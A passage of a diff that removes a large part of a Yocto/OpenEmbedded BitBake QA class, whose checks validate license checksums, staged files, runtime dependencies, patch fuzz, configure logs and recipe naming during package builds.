- package_qa_add_message(messages, "xorg-driver-abi", "Package %s contains Xorg driver (%s) but no xorg-abi- dependencies" % (name, os.path.basename(path)))
-
-QAPATHTEST[infodir] = "package_qa_check_infodir"
-def package_qa_check_infodir(path, name, d, elf, messages):
- """
- Check that /usr/share/info/dir isn't shipped in a particular package
- """
- infodir = d.expand("${infodir}/dir")
-
- if infodir in path:
- package_qa_add_message(messages, "infodir", "The /usr/share/info/dir file is not meant to be shipped in a particular package.")
-
-QAPATHTEST[symlink-to-sysroot] = "package_qa_check_symlink_to_sysroot"
-def package_qa_check_symlink_to_sysroot(path, name, d, elf, messages):
- """
- Check that the package doesn't contain any absolute symlinks to the sysroot.
- """
- if os.path.islink(path):
- target = os.readlink(path)
- if os.path.isabs(target):
- tmpdir = d.getVar('TMPDIR')
- if target.startswith(tmpdir):
- trimmed = path.replace(os.path.join (d.getVar("PKGDEST"), name), "")
- package_qa_add_message(messages, "symlink-to-sysroot", "Symlink %s in %s points to TMPDIR" % (trimmed, name))
-
-# Check license variables
-do_populate_lic[postfuncs] += "populate_lic_qa_checksum"
-python populate_lic_qa_checksum() {
- """
- Check for changes in the license files.
- """
- sane = True
-
- lic_files = d.getVar('LIC_FILES_CHKSUM') or ''
- lic = d.getVar('LICENSE')
- pn = d.getVar('PN')
-
- if lic == "CLOSED":
- return
-
- if not lic_files and d.getVar('SRC_URI'):
- sane &= package_qa_handle_error("license-checksum", pn + ": Recipe file fetches files and does not have license file information (LIC_FILES_CHKSUM)", d)
-
- srcdir = d.getVar('S')
- corebase_licensefile = d.getVar('COREBASE') + "/LICENSE"
- for url in lic_files.split():
- try:
- (type, host, path, user, pswd, parm) = bb.fetch.decodeurl(url)
- except bb.fetch.MalformedUrl:
- sane &= package_qa_handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM contains an invalid URL: " + url, d)
- continue
- srclicfile = os.path.join(srcdir, path)
- if not os.path.isfile(srclicfile):
- sane &= package_qa_handle_error("license-checksum", pn + ": LIC_FILES_CHKSUM points to an invalid file: " + srclicfile, d)
- continue
-
- if (srclicfile == corebase_licensefile):
- bb.warn("${COREBASE}/LICENSE is not a valid license file, please use '${COMMON_LICENSE_DIR}/MIT' for a MIT License file in LIC_FILES_CHKSUM. This will become an error in the future")
-
- recipemd5 = parm.get('md5', '')
- beginline, endline = 0, 0
- if 'beginline' in parm:
- beginline = int(parm['beginline'])
- if 'endline' in parm:
- endline = int(parm['endline'])
-
- if (not beginline) and (not endline):
- md5chksum = bb.utils.md5_file(srclicfile)
- with open(srclicfile, 'r', errors='replace') as f:
- license = f.read().splitlines()
- else:
- with open(srclicfile, 'rb') as f:
- import hashlib
- lineno = 0
- license = []
- m = hashlib.md5()
- for line in f:
- lineno += 1
- if (lineno >= beginline):
- if ((lineno <= endline) or not endline):
- m.update(line)
- license.append(line.decode('utf-8', errors='replace').rstrip())
- else:
- break
- md5chksum = m.hexdigest()
- if recipemd5 == md5chksum:
- bb.note (pn + ": md5 checksum matched for ", url)
- else:
- if recipemd5:
- msg = pn + ": The LIC_FILES_CHKSUM does not match for " + url
- msg = msg + "\n" + pn + ": The new md5 checksum is " + md5chksum
- max_lines = int(d.getVar('QA_MAX_LICENSE_LINES') or 20)
- if not license or license[-1] != '':
- # Ensure that our license text ends with a line break
- # (will be added with join() below).
- license.append('')
- remove = len(license) - max_lines
- if remove > 0:
- start = max_lines // 2
- end = start + remove - 1
- del license[start:end]
- license.insert(start, '...')
- msg = msg + "\n" + pn + ": Here is the selected license text:" + \
- "\n" + \
- "{:v^70}".format(" beginline=%d " % beginline if beginline else "") + \
- "\n" + "\n".join(license) + \
- "{:^^70}".format(" endline=%d " % endline if endline else "")
- if beginline:
- if endline:
- srcfiledesc = "%s (lines %d through to %d)" % (srclicfile, beginline, endline)
- else:
- srcfiledesc = "%s (beginning on line %d)" % (srclicfile, beginline)
- elif endline:
- srcfiledesc = "%s (ending on line %d)" % (srclicfile, endline)
- else:
- srcfiledesc = srclicfile
- msg = msg + "\n" + pn + ": Check if the license information has changed in %s to verify that the LICENSE value \"%s\" remains valid" % (srcfiledesc, lic)
-
- else:
- msg = pn + ": LIC_FILES_CHKSUM is not specified for " + url
- msg = msg + "\n" + pn + ": The md5 checksum is " + md5chksum
- sane &= package_qa_handle_error("license-checksum", msg, d)
-
- if not sane:
- bb.fatal("Fatal QA errors found, failing task.")
-}
-
-def qa_check_staged(path,d):
- """
- Check staged la and pc files for common problems like references to the work
- directory.
-
- As this is run after every stage we should be able to find the one
- responsible for the errors easily even if we look at every .pc and .la file.
- """
-
- sane = True
- tmpdir = d.getVar('TMPDIR')
- workdir = os.path.join(tmpdir, "work")
- recipesysroot = d.getVar("RECIPE_SYSROOT")
-
- if bb.data.inherits_class("native", d) or bb.data.inherits_class("cross", d):
- pkgconfigcheck = workdir
- else:
- pkgconfigcheck = tmpdir
-
- skip = (d.getVar('INSANE_SKIP') or "").split()
- skip_la = False
- if 'la' in skip:
- bb.note("Recipe %s skipping qa checking: la" % d.getVar('PN'))
- skip_la = True
-
- skip_pkgconfig = False
- if 'pkgconfig' in skip:
- bb.note("Recipe %s skipping qa checking: pkgconfig" % d.getVar('PN'))
- skip_pkgconfig = True
-
- # find all .la and .pc files
- # read the content
- # and check for stuff that looks wrong
- for root, dirs, files in os.walk(path):
- for file in files:
- path = os.path.join(root,file)
- if file.endswith(".la") and not skip_la:
- with open(path) as f:
- file_content = f.read()
- file_content = file_content.replace(recipesysroot, "")
- if workdir in file_content:
- error_msg = "%s failed sanity test (workdir) in path %s" % (file,root)
- sane &= package_qa_handle_error("la", error_msg, d)
- elif file.endswith(".pc") and not skip_pkgconfig:
- with open(path) as f:
- file_content = f.read()
- file_content = file_content.replace(recipesysroot, "")
- if pkgconfigcheck in file_content:
- error_msg = "%s failed sanity test (tmpdir) in path %s" % (file,root)
- sane &= package_qa_handle_error("pkgconfig", error_msg, d)
-
- return sane
-
-# Run all package-wide warnfuncs and errorfuncs
-def package_qa_package(warnfuncs, errorfuncs, package, d):
- warnings = {}
- errors = {}
-
- for func in warnfuncs:
- func(package, d, warnings)
- for func in errorfuncs:
- func(package, d, errors)
-
- for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
- for e in errors:
- package_qa_handle_error(e, errors[e], d)
-
- return len(errors) == 0
-
-# Run all recipe-wide warnfuncs and errorfuncs
-def package_qa_recipe(warnfuncs, errorfuncs, pn, d):
- warnings = {}
- errors = {}
-
- for func in warnfuncs:
- func(pn, d, warnings)
- for func in errorfuncs:
- func(pn, d, errors)
-
- for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
- for e in errors:
- package_qa_handle_error(e, errors[e], d)
-
- return len(errors) == 0
-
-# Walk over all files in a directory and call func
-def package_qa_walk(warnfuncs, errorfuncs, package, d):
- import oe.qa
-
- #if this will throw an exception, then fix the dict above
- target_os = d.getVar('TARGET_OS')
- target_arch = d.getVar('TARGET_ARCH')
-
- warnings = {}
- errors = {}
- for path in pkgfiles[package]:
- elf = oe.qa.ELFFile(path)
- try:
- elf.open()
- except (IOError, oe.qa.NotELFFileError):
- # IOError can happen if the packaging control files disappear,
- elf = None
- for func in warnfuncs:
- func(path, package, d, elf, warnings)
- for func in errorfuncs:
- func(path, package, d, elf, errors)
-
- for w in warnings:
- package_qa_handle_error(w, warnings[w], d)
- for e in errors:
- package_qa_handle_error(e, errors[e], d)
-
-def package_qa_check_rdepends(pkg, pkgdest, skip, taskdeps, packages, d):
- # Don't do this check for kernel/module recipes, there aren't too many debug/development
- # packages and you can get false positives e.g. on kernel-module-lirc-dev
- if bb.data.inherits_class("kernel", d) or bb.data.inherits_class("module-base", d):
- return
-
- if not "-dbg" in pkg and not "packagegroup-" in pkg and not "-image" in pkg:
- localdata = bb.data.createCopy(d)
- localdata.setVar('OVERRIDES', localdata.getVar('OVERRIDES') + ':' + pkg)
-
- # Now check the RDEPENDS
- rdepends = bb.utils.explode_deps(localdata.getVar('RDEPENDS') or "")
-
- # Now do the sanity check!!!
- if "build-deps" not in skip:
- for rdepend in rdepends:
- if "-dbg" in rdepend and "debug-deps" not in skip:
- error_msg = "%s rdepends on %s" % (pkg,rdepend)
- package_qa_handle_error("debug-deps", error_msg, d)
- if (not "-dev" in pkg and not "-staticdev" in pkg) and rdepend.endswith("-dev") and "dev-deps" not in skip:
- error_msg = "%s rdepends on %s" % (pkg, rdepend)
- package_qa_handle_error("dev-deps", error_msg, d)
- if rdepend not in packages:
- rdep_data = oe.packagedata.read_subpkgdata(rdepend, d)
- if rdep_data and 'PN' in rdep_data and rdep_data['PN'] in taskdeps:
- continue
- if not rdep_data or not 'PN' in rdep_data:
- pkgdata_dir = d.getVar("PKGDATA_DIR")
- try:
- possibles = os.listdir("%s/runtime-rprovides/%s/" % (pkgdata_dir, rdepend))
- except OSError:
- possibles = []
- for p in possibles:
- rdep_data = oe.packagedata.read_subpkgdata(p, d)
- if rdep_data and 'PN' in rdep_data and rdep_data['PN'] in taskdeps:
- break
- if rdep_data and 'PN' in rdep_data and rdep_data['PN'] in taskdeps:
- continue
- if rdep_data and 'PN' in rdep_data:
- error_msg = "%s rdepends on %s, but it isn't a build dependency, missing %s in DEPENDS or PACKAGECONFIG?" % (pkg, rdepend, rdep_data['PN'])
- else:
- error_msg = "%s rdepends on %s, but it isn't a build dependency?" % (pkg, rdepend)
- package_qa_handle_error("build-deps", error_msg, d)
-
- if "file-rdeps" not in skip:
- ignored_file_rdeps = set(['/bin/sh', '/usr/bin/env', 'rtld(GNU_HASH)'])
- if bb.data.inherits_class('nativesdk', d):
- ignored_file_rdeps |= set(['/bin/bash', '/usr/bin/perl', 'perl'])
- # For Saving the FILERDEPENDS
- filerdepends = {}
- rdep_data = oe.packagedata.read_subpkgdata(pkg, d)
- for key in rdep_data:
- if key.startswith("FILERDEPENDS_"):
- for subkey in bb.utils.explode_deps(rdep_data[key]):
- if subkey not in ignored_file_rdeps and \
- not subkey.startswith('perl('):
- # We already know it starts with FILERDEPENDS_
- filerdepends[subkey] = key[13:]
-
- if filerdepends:
- done = rdepends[:]
- # Add the rprovides of itself
- if pkg not in done:
- done.insert(0, pkg)
-
- # The python is not a package, but python-core provides it, so
- # skip checking /usr/bin/python if python is in the rdeps, in
- # case there is a RDEPENDS_pkg = "python" in the recipe.
- for py in [ d.getVar('MLPREFIX') + "python", "python" ]:
- if py in done:
- filerdepends.pop("/usr/bin/python",None)
- done.remove(py)
- for rdep in done:
- # The file dependencies may contain package names, e.g.,
- # perl
- filerdepends.pop(rdep,None)
-
- # For Saving the FILERPROVIDES, RPROVIDES and FILES_INFO
- rdep_data = oe.packagedata.read_subpkgdata(rdep, d)
- for key in rdep_data:
- if key.startswith("FILERPROVIDES_") or key.startswith("RPROVIDES_"):
- for subkey in bb.utils.explode_deps(rdep_data[key]):
- filerdepends.pop(subkey,None)
- # Add the files list to the rprovides
- if key == "FILES_INFO":
- # Use eval() to make it as a dict
- for subkey in eval(rdep_data[key]):
- filerdepends.pop(subkey,None)
- if not filerdepends:
- # Break if all the file rdepends are met
- break
- if filerdepends:
- for key in filerdepends:
- error_msg = "%s contained in package %s requires %s, but no providers found in RDEPENDS_%s?" % \
- (filerdepends[key].replace("_%s" % pkg, "").replace("@underscore@", "_"), pkg, key, pkg)
- package_qa_handle_error("file-rdeps", error_msg, d)
-package_qa_check_rdepends[vardepsexclude] = "OVERRIDES"
-
-def package_qa_check_deps(pkg, pkgdest, d):
-
- localdata = bb.data.createCopy(d)
- localdata.setVar('OVERRIDES', pkg)
-
- def check_valid_deps(var):
- try:
- rvar = bb.utils.explode_dep_versions2(localdata.getVar(var) or "")
- except ValueError as e:
- bb.fatal("%s_%s: %s" % (var, pkg, e))
- for dep in rvar:
- for v in rvar[dep]:
- if v and not v.startswith(('< ', '= ', '> ', '<= ', '>=')):
- error_msg = "%s_%s is invalid: %s (%s) only comparisons <, =, >, <=, and >= are allowed" % (var, pkg, dep, v)
- package_qa_handle_error("dep-cmp", error_msg, d)
-
- check_valid_deps('RDEPENDS')
- check_valid_deps('RRECOMMENDS')
- check_valid_deps('RSUGGESTS')
- check_valid_deps('RPROVIDES')
- check_valid_deps('RREPLACES')
- check_valid_deps('RCONFLICTS')
-
-QAPKGTEST[usrmerge] = "package_qa_check_usrmerge"
-def package_qa_check_usrmerge(pkg, d, messages):
- pkgdest = d.getVar('PKGDEST')
- pkg_dir = pkgdest + os.sep + pkg + os.sep
- merged_dirs = ['bin', 'sbin', 'lib'] + d.getVar('MULTILIB_VARIANTS').split()
- for f in merged_dirs:
- if os.path.exists(pkg_dir + f) and not os.path.islink(pkg_dir + f):
- msg = "%s package is not obeying usrmerge distro feature. /%s should be relocated to /usr." % (pkg, f)
- package_qa_add_message(messages, "usrmerge", msg)
- return False
- return True
-
-QAPKGTEST[perllocalpod] = "package_qa_check_perllocalpod"
-def package_qa_check_perllocalpod(pkg, d, messages):
- """
- Check that the recipe didn't ship a perlocal.pod file, which shouldn't be
- installed in a distribution package. cpan.bbclass sets NO_PERLLOCAL=1 to
- handle this for most recipes.
- """
- import glob
- pkgd = oe.path.join(d.getVar('PKGDEST'), pkg)
- podpath = oe.path.join(pkgd, d.getVar("libdir"), "perl*", "*", "*", "perllocal.pod")
-
- matches = glob.glob(podpath)
- if matches:
- matches = [package_qa_clean_path(path, d, pkg) for path in matches]
- msg = "%s contains perllocal.pod (%s), should not be installed" % (pkg, " ".join(matches))
- package_qa_add_message(messages, "perllocalpod", msg)
-
-QAPKGTEST[expanded-d] = "package_qa_check_expanded_d"
-def package_qa_check_expanded_d(package, d, messages):
- """
- Check for the expanded D (${D}) value in pkg_* and FILES
- variables, warn the user to use it correctly.
- """
- sane = True
- expanded_d = d.getVar('D')
-
- for var in 'FILES','pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm':
- bbvar = d.getVar(var + "_" + package) or ""
- if expanded_d in bbvar:
- if var == 'FILES':
- package_qa_add_message(messages, "expanded-d", "FILES in %s recipe should not contain the ${D} variable as it references the local build directory not the target filesystem, best solution is to remove the ${D} reference" % package)
- sane = False
- else:
- package_qa_add_message(messages, "expanded-d", "%s in %s recipe contains ${D}, it should be replaced by $D instead" % (var, package))
- sane = False
- return sane
-
-QAPKGTEST[unlisted-pkg-lics] = "package_qa_check_unlisted_pkg_lics"
-def package_qa_check_unlisted_pkg_lics(package, d, messages):
- """
- Check that all licenses for a package are among the licenses for the recipe.
- """
- pkg_lics = d.getVar('LICENSE_' + package)
- if not pkg_lics:
- return True
-
- recipe_lics_set = oe.license.list_licenses(d.getVar('LICENSE'))
- unlisted = oe.license.list_licenses(pkg_lics) - recipe_lics_set
- if not unlisted:
- return True
-
- package_qa_add_message(messages, "unlisted-pkg-lics",
- "LICENSE_%s includes licenses (%s) that are not "
- "listed in LICENSE" % (package, ' '.join(unlisted)))
- return False
-
-def package_qa_check_encoding(keys, encode, d):
- def check_encoding(key, enc):
- sane = True
- value = d.getVar(key)
- if value:
- try:
- s = value.encode(enc)
- except UnicodeDecodeError as e:
- error_msg = "%s has non %s characters" % (key,enc)
- sane = False
- package_qa_handle_error("invalid-chars", error_msg, d)
- return sane
-
- for key in keys:
- sane = check_encoding(key, encode)
- if not sane:
- break
-
-HOST_USER_UID := "${@os.getuid()}"
-HOST_USER_GID := "${@os.getgid()}"
-
-QAPATHTEST[host-user-contaminated] = "package_qa_check_host_user"
-def package_qa_check_host_user(path, name, d, elf, messages):
- """Check for paths outside of /home which are owned by the user running bitbake."""
-
- if not os.path.lexists(path):
- return
-
- dest = d.getVar('PKGDEST')
- pn = d.getVar('PN')
- home = os.path.join(dest, 'home')
- if path == home or path.startswith(home + os.sep):
- return
-
- try:
- stat = os.lstat(path)
- except OSError as exc:
- import errno
- if exc.errno != errno.ENOENT:
- raise
- else:
- check_uid = int(d.getVar('HOST_USER_UID'))
- if stat.st_uid == check_uid:
- package_qa_add_message(messages, "host-user-contaminated", "%s: %s is owned by uid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_uid))
- return False
-
- check_gid = int(d.getVar('HOST_USER_GID'))
- if stat.st_gid == check_gid:
- package_qa_add_message(messages, "host-user-contaminated", "%s: %s is owned by gid %d, which is the same as the user running bitbake. This may be due to host contamination" % (pn, package_qa_clean_path(path, d, name), check_gid))
- return False
- return True
-
-QARECIPETEST[src-uri-bad] = "package_qa_check_src_uri"
-def package_qa_check_src_uri(pn, d, messages):
- import re
-
- if "${PN}" in d.getVar("SRC_URI", False):
- package_qa_handle_error("src-uri-bad", "%s: SRC_URI uses PN not BPN" % pn, d)
-
- for url in d.getVar("SRC_URI").split():
- if re.search(r"github\.com/.+/.+/archive/.+", url):
- package_qa_handle_error("src-uri-bad", "%s: SRC_URI uses unstable GitHub archives" % pn, d)
-
-QARECIPETEST[unhandled-features-check] = "package_qa_check_unhandled_features_check"
-def package_qa_check_unhandled_features_check(pn, d, messages):
- if not bb.data.inherits_class('features_check', d):
- var_set = False
- for kind in ['DISTRO', 'MACHINE', 'COMBINED']:
- for var in ['ANY_OF_' + kind + '_FEATURES', 'REQUIRED_' + kind + '_FEATURES', 'CONFLICT_' + kind + '_FEATURES']:
- if d.getVar(var) is not None or d.overridedata.get(var) is not None:
- var_set = True
- if var_set:
- package_qa_handle_error("unhandled-features-check", "%s: recipe doesn't inherit features_check" % pn, d)
-
-# The PACKAGE FUNC to scan each package
-python do_package_qa () {
- import subprocess
- import oe.packagedata
-
- bb.note("DO PACKAGE QA")
-
- bb.build.exec_func("read_subpackage_metadata", d)
-
- # Check non UTF-8 characters on recipe's metadata
- package_qa_check_encoding(['DESCRIPTION', 'SUMMARY', 'LICENSE', 'SECTION'], 'utf-8', d)
-
- logdir = d.getVar('T')
- pn = d.getVar('PN')
-
- # Check the compile log for host contamination
- compilelog = os.path.join(logdir,"log.do_compile")
-
- if os.path.exists(compilelog):
- statement = "grep -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s > /dev/null" % compilelog
- if subprocess.call(statement, shell=True) == 0:
- msg = "%s: The compile log indicates that host include and/or library paths were used.\n \
- Please check the log '%s' for more information." % (pn, compilelog)
- package_qa_handle_error("compile-host-path", msg, d)
-
- # Check the install log for host contamination
- installlog = os.path.join(logdir,"log.do_install")
-
- if os.path.exists(installlog):
- statement = "grep -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s > /dev/null" % installlog
- if subprocess.call(statement, shell=True) == 0:
- msg = "%s: The install log indicates that host include and/or library paths were used.\n \
- Please check the log '%s' for more information." % (pn, installlog)
- package_qa_handle_error("install-host-path", msg, d)
-
- # Scan the packages...
- pkgdest = d.getVar('PKGDEST')
- packages = set((d.getVar('PACKAGES') or '').split())
-
- global pkgfiles
- pkgfiles = {}
- for pkg in packages:
- pkgfiles[pkg] = []
- pkgdir = os.path.join(pkgdest, pkg)
- for walkroot, dirs, files in os.walk(pkgdir):
- # Don't walk into top-level CONTROL or DEBIAN directories as these
- # are temporary directories created by do_package.
- if walkroot == pkgdir:
- for control in ("CONTROL", "DEBIAN"):
- if control in dirs:
- dirs.remove(control)
- for file in files:
- pkgfiles[pkg].append(os.path.join(walkroot, file))
-
- # no packages should be scanned
- if not packages:
- return
-
- import re
- # The package name matches the [a-z0-9.+-]+ regular expression
- pkgname_pattern = re.compile(r"^[a-z0-9.+-]+$")
-
- taskdepdata = d.getVar("BB_TASKDEPDATA", False)
- taskdeps = set()
- for dep in taskdepdata:
- taskdeps.add(taskdepdata[dep][0])
-
- def parse_test_matrix(matrix_name):
- testmatrix = d.getVarFlags(matrix_name) or {}
- g = globals()
- warnchecks = []
- for w in (d.getVar("WARN_QA") or "").split():
- if w in skip:
- continue
- if w in testmatrix and testmatrix[w] in g:
- warnchecks.append(g[testmatrix[w]])
-
- errorchecks = []
- for e in (d.getVar("ERROR_QA") or "").split():
- if e in skip:
- continue
- if e in testmatrix and testmatrix[e] in g:
- errorchecks.append(g[testmatrix[e]])
- return warnchecks, errorchecks
-
- for package in packages:
- skip = set((d.getVar('INSANE_SKIP') or "").split() +
- (d.getVar('INSANE_SKIP_' + package) or "").split())
- if skip:
- bb.note("Package %s skipping QA tests: %s" % (package, str(skip)))
-
- bb.note("Checking Package: %s" % package)
- # Check package name
- if not pkgname_pattern.match(package):
- package_qa_handle_error("pkgname",
- "%s doesn't match the [a-z0-9.+-]+ regex" % package, d)
-
- warn_checks, error_checks = parse_test_matrix("QAPATHTEST")
- package_qa_walk(warn_checks, error_checks, package, d)
-
- warn_checks, error_checks = parse_test_matrix("QAPKGTEST")
- package_qa_package(warn_checks, error_checks, package, d)
-
- package_qa_check_rdepends(package, pkgdest, skip, taskdeps, packages, d)
- package_qa_check_deps(package, pkgdest, d)
-
- warn_checks, error_checks = parse_test_matrix("QARECIPETEST")
- package_qa_recipe(warn_checks, error_checks, pn, d)
-
- if 'libdir' in d.getVar("ALL_QA").split():
- package_qa_check_libdir(d)
-
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("QA run found fatal errors. Please consider fixing them.")
- bb.note("DONE with PACKAGE QA")
-}
-
-# binutils is used for most checks, so need to set as dependency
-# POPULATESYSROOTDEPS is defined in staging class.
-do_package_qa[depends] += "${POPULATESYSROOTDEPS}"
-do_package_qa[vardepsexclude] = "BB_TASKDEPDATA"
-do_package_qa[rdeptask] = "do_packagedata"
-addtask do_package_qa after do_packagedata do_package before do_build
-
-# Add the package specific INSANE_SKIPs to the sstate dependencies
-python() {
- pkgs = (d.getVar('PACKAGES') or '').split()
- for pkg in pkgs:
- d.appendVarFlag("do_package_qa", "vardeps", " INSANE_SKIP_{}".format(pkg))
-}
-
-SSTATETASKS += "do_package_qa"
-do_package_qa[sstate-inputdirs] = ""
-do_package_qa[sstate-outputdirs] = ""
-python do_package_qa_setscene () {
- sstate_setscene(d)
-}
-addtask do_package_qa_setscene
-
-python do_qa_staging() {
- bb.note("QA checking staging")
- if not qa_check_staged(d.expand('${SYSROOT_DESTDIR}${libdir}'), d):
- bb.fatal("QA staging was broken by the package built above")
-}
-
-python do_qa_patch() {
- import subprocess
-
- ###########################################################################
- # Check patch.log for fuzz warnings
- #
- # Further information on why we check for patch fuzz warnings:
- # http://lists.openembedded.org/pipermail/openembedded-core/2018-March/148675.html
- # https://bugzilla.yoctoproject.org/show_bug.cgi?id=10450
- ###########################################################################
-
- logdir = d.getVar('T')
- patchlog = os.path.join(logdir,"log.do_patch")
-
- if os.path.exists(patchlog):
- fuzzheader = '--- Patch fuzz start ---'
- fuzzfooter = '--- Patch fuzz end ---'
- statement = "grep -e '%s' %s > /dev/null" % (fuzzheader, patchlog)
- if subprocess.call(statement, shell=True) == 0:
- msg = "Fuzz detected:\n\n"
- fuzzmsg = ""
- inFuzzInfo = False
- f = open(patchlog, "r")
- for line in f:
- if fuzzheader in line:
- inFuzzInfo = True
- fuzzmsg = ""
- elif fuzzfooter in line:
- fuzzmsg = fuzzmsg.replace('\n\n', '\n')
- msg += fuzzmsg
- msg += "\n"
- inFuzzInfo = False
- elif inFuzzInfo and not 'Now at patch' in line:
- fuzzmsg += line
- f.close()
- msg += "The context lines in the patches can be updated with devtool:\n"
- msg += "\n"
- msg += " devtool modify %s\n" % d.getVar('PN')
- msg += " devtool finish --force-patch-refresh %s <layer_path>\n\n" % d.getVar('PN')
- msg += "Don't forget to review changes done by devtool!\n"
- if 'patch-fuzz' in d.getVar('ERROR_QA'):
- bb.error(msg)
- elif 'patch-fuzz' in d.getVar('WARN_QA'):
- bb.warn(msg)
- msg = "Patch log indicates that patches do not apply cleanly."
- package_qa_handle_error("patch-fuzz", msg, d)
-}
-
-python do_qa_configure() {
- import subprocess
-
- ###########################################################################
- # Check config.log for cross compile issues
- ###########################################################################
-
- configs = []
- workdir = d.getVar('WORKDIR')
-
- skip = (d.getVar('INSANE_SKIP') or "").split()
- skip_configure_unsafe = False
- if 'configure-unsafe' in skip:
- bb.note("Recipe %s skipping qa checking: configure-unsafe" % d.getVar('PN'))
- skip_configure_unsafe = True
-
- if bb.data.inherits_class('autotools', d) and not skip_configure_unsafe:
- bb.note("Checking autotools environment for common misconfiguration")
- for root, dirs, files in os.walk(workdir):
- statement = "grep -q -F -e 'CROSS COMPILE Badness:' -e 'is unsafe for cross-compilation' %s" % \
- os.path.join(root,"config.log")
- if "config.log" in files:
- if subprocess.call(statement, shell=True) == 0:
- error_msg = """This autoconf log indicates errors, it looked at host include and/or library paths while determining system capabilities.
-Rerun configure task after fixing this."""
- package_qa_handle_error("configure-unsafe", error_msg, d)
-
- if "configure.ac" in files:
- configs.append(os.path.join(root,"configure.ac"))
- if "configure.in" in files:
- configs.append(os.path.join(root, "configure.in"))
-
- ###########################################################################
- # Check gettext configuration and dependencies are correct
- ###########################################################################
-
- skip_configure_gettext = False
- if 'configure-gettext' in skip:
- bb.note("Recipe %s skipping qa checking: configure-gettext" % d.getVar('PN'))
- skip_configure_gettext = True
-
- cnf = d.getVar('EXTRA_OECONF') or ""
- if not ("gettext" in d.getVar('P') or "gcc-runtime" in d.getVar('P') or \
- "--disable-nls" in cnf or skip_configure_gettext):
- ml = d.getVar("MLPREFIX") or ""
- if bb.data.inherits_class('cross-canadian', d):
- gt = "nativesdk-gettext"
- else:
- gt = "gettext-native"
- deps = bb.utils.explode_deps(d.getVar('DEPENDS') or "")
- if gt not in deps:
- for config in configs:
- gnu = "grep \"^[[:space:]]*AM_GNU_GETTEXT\" %s >/dev/null" % config
- if subprocess.call(gnu, shell=True) == 0:
- error_msg = "AM_GNU_GETTEXT used but no inherit gettext"
- package_qa_handle_error("configure-gettext", error_msg, d)
-
- ###########################################################################
- # Check unrecognised configure options (with a white list)
- ###########################################################################
- if bb.data.inherits_class("autotools", d) or bb.data.inherits_class("meson", d):
- bb.note("Checking configure output for unrecognised options")
- try:
- if bb.data.inherits_class("autotools", d):
- flag = "WARNING: unrecognized options:"
- log = os.path.join(d.getVar('B'), 'config.log')
- if bb.data.inherits_class("meson", d):
- flag = "WARNING: Unknown options:"
- log = os.path.join(d.getVar('T'), 'log.do_configure')
- output = subprocess.check_output(['grep', '-F', flag, log]).decode("utf-8").replace(', ', ' ').replace('"', '')
- options = set()
- for line in output.splitlines():
- options |= set(line.partition(flag)[2].split())
- whitelist = set(d.getVar("UNKNOWN_CONFIGURE_WHITELIST").split())
- options -= whitelist
- if options:
- pn = d.getVar('PN')
- error_msg = pn + ": configure was passed unrecognised options: " + " ".join(options)
- package_qa_handle_error("unknown-configure-option", error_msg, d)
- except subprocess.CalledProcessError:
- pass
-
- # Check invalid PACKAGECONFIG
- pkgconfig = (d.getVar("PACKAGECONFIG") or "").split()
- if pkgconfig:
- pkgconfigflags = d.getVarFlags("PACKAGECONFIG") or {}
- for pconfig in pkgconfig:
- if pconfig not in pkgconfigflags:
- pn = d.getVar('PN')
- error_msg = "%s: invalid PACKAGECONFIG: %s" % (pn, pconfig)
- package_qa_handle_error("invalid-packageconfig", error_msg, d)
-
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
-}
-
-python do_qa_unpack() {
- src_uri = d.getVar('SRC_URI')
- s_dir = d.getVar('S')
- if src_uri and not os.path.exists(s_dir):
- bb.warn('%s: the directory %s (%s) pointed to by the S variable doesn\'t exist - please set S within the recipe to point to where the source has been unpacked to' % (d.getVar('PN'), d.getVar('S', False), s_dir))
-}
-
-# The Staging Func, to check all staging
-#addtask qa_staging after do_populate_sysroot before do_build
-do_populate_sysroot[postfuncs] += "do_qa_staging "
-
-# Check for patch fuzz
-do_patch[postfuncs] += "do_qa_patch "
-
-# Check broken config.log files, for packages requiring Gettext which
-# don't have it in DEPENDS.
-#addtask qa_configure after do_configure before do_compile
-do_configure[postfuncs] += "do_qa_configure "
-
-# Check does S exist.
-do_unpack[postfuncs] += "do_qa_unpack"
-
-python () {
- import re
-
- tests = d.getVar('ALL_QA').split()
- if "desktop" in tests:
- d.appendVar("PACKAGE_DEPENDS", " desktop-file-utils-native")
-
- ###########################################################################
- # Check various variables
- ###########################################################################
-
- # Checking ${FILESEXTRAPATHS}
- extrapaths = (d.getVar("FILESEXTRAPATHS") or "")
- if '__default' not in extrapaths.split(":"):
- msg = "FILESEXTRAPATHS-variable, must always use _prepend (or _append)\n"
- msg += "type of assignment, and don't forget the colon.\n"
- msg += "Please assign it with the format of:\n"
- msg += " FILESEXTRAPATHS_append := \":${THISDIR}/Your_Files_Path\" or\n"
- msg += " FILESEXTRAPATHS_prepend := \"${THISDIR}/Your_Files_Path:\"\n"
- msg += "in your bbappend file\n\n"
- msg += "Your incorrect assignment is:\n"
- msg += "%s\n" % extrapaths
- bb.warn(msg)
-
- overrides = d.getVar('OVERRIDES').split(':')
- pn = d.getVar('PN')
- if pn in overrides:
- msg = 'Recipe %s has PN of "%s" which is in OVERRIDES, this can result in unexpected behaviour.' % (d.getVar("FILE"), pn)
- package_qa_handle_error("pn-overrides", msg, d)
- prog = re.compile(r'[A-Z]')
- if prog.search(pn):
- package_qa_handle_error("uppercase-pn", 'PN: %s is upper case, this can result in unexpected behavior.' % pn, d)
-
- # Some people mistakenly use DEPENDS_${PN} instead of DEPENDS and wonder
- # why it doesn't work.
- if (d.getVar(d.expand('DEPENDS_${PN}'))):
- package_qa_handle_error("pkgvarcheck", "recipe uses DEPENDS_${PN}, should use DEPENDS", d)
-
- issues = []
- if (d.getVar('PACKAGES') or "").split():
- for dep in (d.getVar('QADEPENDS') or "").split():
- d.appendVarFlag('do_package_qa', 'depends', " %s:do_populate_sysroot" % dep)
